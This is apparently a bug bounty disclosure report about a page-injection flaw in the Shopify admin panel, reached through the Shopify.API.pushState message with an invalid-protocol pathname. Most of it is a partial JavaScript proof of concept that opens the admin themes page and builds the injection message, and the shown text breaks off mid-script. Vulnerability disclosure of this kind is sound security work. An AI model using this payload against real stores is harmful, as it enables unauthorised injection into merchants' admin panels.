Inject page in admin panel via Shopify.API.pushState with protocol invalid

Disclose Token in reports Summary Some time, i found a bug the #662083. Today I found a new payload, invalid protocol are not tested correctly in filter method.

<script>
function attack(){
    const ctx = window.open(location.origin+'/admin/themes', '_blank')
    const data = JSON.stringify({
        message: 'Shopify.API.pushState',
        data: {pathname: "invalid:pages/xss"}
    });

    let interval;
    interval = setInterval(function(){
        if …